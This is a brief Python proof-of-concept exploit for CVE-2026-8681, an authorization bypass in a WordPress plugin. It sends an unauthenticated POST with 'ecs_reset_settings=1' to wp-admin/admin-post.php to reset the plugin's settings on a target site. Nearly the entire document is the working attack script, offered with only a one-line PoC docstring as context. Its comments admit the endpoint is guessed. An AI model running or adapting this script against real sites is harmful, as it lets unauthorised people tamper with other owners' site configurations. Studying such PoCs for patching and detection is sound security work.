CVE-2026-8681

import requests def exploit_poc(target_url): """ PoC for CVE-2026-8681 Authorization Bypass Resets plugin settings by sending a POST request. """ # The endpoint might be wp-admin/admin-post.php or the plugin settings page # Adjust the endpoint based on the specific plugin implementation if necessary. url = f"{target_url}/wp-admin/admin-post.php" data = { "ecs_reset_settings": "1" } try: response = requests.post(url, data=data, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Settings may have been reset.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" exploit_poc(target)

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